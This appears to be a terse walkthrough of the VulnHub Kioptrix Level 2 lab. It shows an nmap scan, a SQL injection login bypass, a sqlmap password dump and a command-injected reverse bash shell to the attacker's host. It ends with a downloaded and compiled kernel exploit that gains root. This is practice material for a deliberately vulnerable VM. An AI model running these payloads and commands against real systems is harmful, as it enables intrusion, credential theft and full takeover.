SQLMAP DUMP PASSWORD (SQL INJECTION)

REVERSE BASH SHELL

CENTOS LOCAL PRIVESC

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)

| ssh-hostkey:

| 1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)

| 1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)

|_ 1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)

|_sshv1: Server supports SSHv1

80/tcp open http Apache httpd 2.0.52 ((CentOS))

|_http-server-header: Apache/2.0.52 (CentOS)

|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

111/tcp open rpcbind 2 (RPC #100000)

443/tcp open ssl/https?

|_ssl-date: 2020-06-08T11:49:09+00:00; -3h09m36s from scanner time.

| sslv2:

| SSLv2 supported

| ciphers:

| SSL2_RC4_128_EXPORT40_WITH_MD5

| SSL2_DES_64_CBC_WITH_MD5

| SSL2_DES_192_EDE3_CBC_WITH_MD5

| SSL2_RC4_128_WITH_MD5

| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5

| SSL2_RC2_128_CBC_WITH_MD5

|_ SSL2_RC4_64_WITH_MD5

631/tcp open ipp CUPS 1.1

| http-methods:

|_ Potentially risky methods: PUT

|_http-server-header: CUPS/1.1

|_http-title: 403 Forbidden

3306/tcp open mysql   MySQL (unauthorized)

MAC Address: 00:0C:29:E6:41:75 (VMware)

Device type: general purpose

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux_kernel:2.6

OS details: Linux 2.6.9 - 2.6.30

Network Distance: 1 hop

Host script results:

|_clock-skew: -3h09m36s

TRACEROUTE

HOP RTT   ADDRESS

1   0.78 ms kiop2 (192.168.2.254

Username=admin

Password='or'a'='a

sqlmap -u "http://192.168.2.254/index.php" --dbms=MySQL --dump --data "uname=test&psw=pass" --level=5 --risk=3

| id | username | password |

+------+----------+------------+

| 1 | admin | 5afac8d85f |

| 2 | john | 66lajGGbla |

REVERSE BASH SHELL

root@kali:/home/kali/Desktop/vulnhub/kiop2# tcpdump -i eth0 icmp

PING WORKED !!!

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

127.0.0.1; bash -i >& /dev/tcp/192.168.2.165/443 0>&1

root@kali:/home/kali/Desktop/vulnhub/kiop2# nc -nlvp 443

SHELL GAINED!!!!!

bash-3.00$ uname -a

Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux

bash-3.00$ uname -mrs

Linux 2.6.9-55.EL i686

bash-3.00$ cat /etc/redhat-release

CentOS release 4.5 (Final)

cat /proc/version

rpm -q centos-release

centos-release-4-4.3

root@kali:/home/kali/Desktop/tools# searchsploit centos 4.5

Linux Kernel 2.6 < 2.6.19 (White Box 4 / | linux_x86/local/9542.c

root@kali:/home/kali/Desktop/vulnhub/kiop2# cp
/usr/share/exploitdb/exploits/linux_x86/local/9542.c .

root@kali:/home/kali/Desktop/vulnhub/kiop2# python -m SimpleHTTPServer 80

bash-3.00$ wget 192.168.2.165/9542.c

bash-3.00$ which gcc

/usr/bin/gcc

bash-3.00$ gcc 9542.c -o akg

bash-3.00$ chmod +x akg

bash-3.00$ ./akg

sh-3.00# whoami

root

ROOTED!!!